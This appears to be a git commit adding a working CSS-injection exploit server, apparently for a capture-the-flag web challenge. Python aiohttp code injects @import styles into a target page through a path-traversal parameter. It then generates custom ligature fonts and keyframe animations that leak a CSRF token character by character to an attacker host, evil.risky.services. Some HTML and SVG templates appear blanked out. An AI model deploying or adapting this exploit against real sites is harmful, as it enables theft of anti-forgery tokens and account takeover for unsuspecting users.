commit 3bfaee941757dd93d8fee3352d766e7580306bb5 Author: m3rc1fulcameron Date: Wed Jun 24 02:26:19 2020 -0400 init diff --git a/convert.fontforge b/convert.fontforge new file mode 100644 index 0000000..ecc7103 --- /dev/null +++ b/convert.fontforge @@ -0,0 +1,3 @@ +#!/usr/bin/fontforge +Open($1) +Generate($1:r + ".woff") diff --git a/server.py b/server.py new file mode 100644 index 0000000..0fcdae5 --- /dev/null +++ b/server.py @@ -0,0 +1,257 @@ +import asyncio as aio +from aiohttp import web +import ssl +import logging +import tempfile +import subprocess +import os +import base64 +import math + +SELF_URL = "https://evil.risky.services:1338" +TARGET_URL = "https://flag-sharer.ml/gifts?error=../item%3fname=@import%2burl(%2522{self_url}{{style_path}}%2522);".format(self_url=SELF_URL) +SELECTOR = """textarea[name="csrf"]""" +SPECIFICITY_HACK = """[name="csrf"]""" +LEAK_LEN = 34 + +BF_CHARSET = ["a", "b", "c", "d", "e", "f", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "i"] + +ep = """ + + + + + + + +
+ + + +
+ + + +""" + +base_style = """ +@import url("{self_url}{{style_path}}"); +:root {{{{ + --x: red; +}}}} +{{selector}} {{{{ + display: block !important; + height: 4em; + white-space: nowrap; +}}}} +{{selector}}::-webkit-scrollbar {{{{ background: var(--x); }}}} +""".format(self_url=SELF_URL) + +class Session(object): + count = 0 + prefix = "i" + evt = aio.Event() + +FONT_CTR = 0 +def generate_font(ligature): + global FONT_CTR + svg = """ + + + + + {} + {} + + +""".format( + '\n '.join([''.format(c) for c in BF_CHARSET]), + ''.format(ligature), + id=FONT_CTR + ) + print(svg) + woff = b'' + with tempfile.NamedTemporaryFile(mode="w+", suffix=".svg") as svgfp: + svgfp.write(svg) + svgfp.flush() + subprocess.run(["/usr/bin/fontforge", "./convert.fontforge", svgfp.name]) + woffname = os.path.splitext(svgfp.name)[0] + '.woff' + with open(woffname, 'rb') as wofffp: + woff = wofffp.read() + os.remove(woffname) + + css = """@font-face {{ + font-family: "hack{}"; + src: url(data:application/x-font-woff;base64,{}); +}} +""".format(FONT_CTR, base64.b64encode(woff).decode()) + FONT_CTR += 1 + return (css, 'hack' + str(FONT_CTR-1)) + +def generate_fonts(prefix): + css = '' + chars = {} + for c in BF_CHARSET: + fnt, fam = generate_font(prefix + c) + css += fnt + chars[prefix+c] = fam + return (css, chars) + +def generate_frame(frame, sess, count, delta): + fdelta = delta / 5.0 + css = """{} + {} + {} + {} + {}""".format( + '{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]), + '{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(1*fdelta), frame[0][1]), + '{:0.2f}% {{font-family:"{}";--x:blue url({self_url}/leak/{sess}/{count}/{});}}'.format(frame[1]+(2*fdelta), frame[0][1], frame[0][0], self_url=SELF_URL, sess=sess, count=count), + '{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(3*fdelta), frame[0][1]), + '{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]+(4*fdelta))) + return css + +import decimal +def float_range(start, stop, step): + while start < stop: + yield float(start) + start += step + +ANIM_CTR = 0 +def generate_animations(chars, sess, count): + global ANIM_CTR + delta = math.floor(99/(len(chars.keys())-1)) + frames = list(zip(chars.items(), range(0, 99, delta))) + css = """@keyframes troll{} {{ + {} + 100% {{font-family:empty;--x:red}} +}}""".format(ANIM_CTR, '\n '.join([generate_frame(f, sess, count, delta) for f in frames])) + ANIM_CTR += 1 + return (css, 'troll' + str(ANIM_CTR-1)) + +def generate_attack_style(prefix, sess, count): + fonts, chars = generate_fonts(prefix) + anim, animid = generate_animations(chars, sess, count) + css = """@import url("{self_url}{next_path}"); +{fonts} +{anim} +{selector}{specificity_hack} {{ + overflow-x: auto; + width: 4em; + animation-duration: 3s; + animation-delay: 0s; + animation-timing-function: step-start; + font-family: empty; + background: lightblue; + animation-name: {animid}; +}}""".format(self_url=SELF_URL, next_path='/attack/{}/{}'.format(sess, int(count)+1), fonts=fonts, anim=anim, selector=SELECTOR, specificity_hack=SPECIFICITY_HACK*int(count), animid=animid) + return css + +SESS_CTR = 0 +SESSIONS = {} +async def handle_entrypoint(req): + logging.warning("Got one") + global SESS_CTR + global SESSIONS + sessid = SESS_CTR + SESS_CTR += 1 + SESSIONS[sessid] = Session() + SESSIONS[sessid].evt.set() + uniq_url = TARGET_URL.format(style_path="/style/" + str(sessid)) + rez = ep.format(sessid=sessid, target_uri=uniq_url) + return web.Response(text=rez, content_type='text/html') + +async def get_style(req): + sess = req.match_info['sess'] + logging.warning("%s requested base style" % sess) + rez = base_style.format(style_path="/attack/" + sess + "/0", selector=SELECTOR+SPECIFICITY_HACK) + return web.Response(text=rez, content_type='text/css') + +async def handle_attack(req): + global SESSIONS + sess = req.match_info['sess'] + sessid = int(sess) + if sessid not in SESSIONS.keys(): + logging.error("Bad session %s" % sess) + return web.Response(text='') + session = SESSIONS[sessid] + await aio.gather(session.evt.wait(), aio.sleep(3)) + session.evt.clear() + count = req.match_info['count'] + c = int(count) + if c >= LEAK_LEN or c != session.count: + logging.error("Bad count: expected %d got %d" % (session.count, c)) + return web.Response(text='') + logging.warning("%s requested attack style" % sess) + rez = generate_attack_style(session.prefix, sess, count) + session.count += 1 + return web.Response(text=rez, content_type='text/css') + +async def handle_token(req): + global SESSIONS + sess = req.match_info['sess'] + sessid = int(sess) + if sessid not in SESSIONS.keys(): + logging.error("Bad session %s" % sess) + session = SESSIONS[sessid] + if len(session.prefix) < LEAK_LEN: + return web.json_response({'status': 'false'}) + else: + return web.json_response({'status': 'true', 'token': session.prefix[:LEAK_LEN]}) + +async def handle_leak(req): + global SESSIONS + sess = req.match_info['sess'] + sessid = int(sess) + if sessid not in SESSIONS.keys(): + logging.error("Bad session %s" % sess) + return web.Response(text='') + session = SESSIONS[sessid] + count = req.match_info['count'] + c = int(count) + if c >= LEAK_LEN or c != session.count-1: + logging.error("Bad count: expected %d got %d" % (session.count, c)) + return web.Response(text='') + session.evt.set() + data = req.match_info['data'] + logging.warning("%s reported %s" % (sess, data)) + session.prefix=data + return web.Response(body=b'', content_type='image/png') + +app = web.Application() +app.add_routes([web.get('/entrypoint', handle_entrypoint), + web.get('/style/{sess:\d+}', get_style), + web.get('/attack/{sess:\d+}/{count:\d+}', handle_attack), + web.get('/leak/{sess:\d+}/{count:\d+}/{data}', handle_leak), + web.get('/token/{sess:\d+}', handle_token),]) + +if __name__ == "__main__": + print(generate_attack_style('id', '0', '10')) + ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) + ssl_ctx.load_cert_chain('/etc/letsencrypt/live/evil.risky.services/fullchain.pem', '/etc/letsencrypt/live/evil.risky.services/privkey.pem') + web.run_app(app, port=1338, ssl_context=ssl_ctx)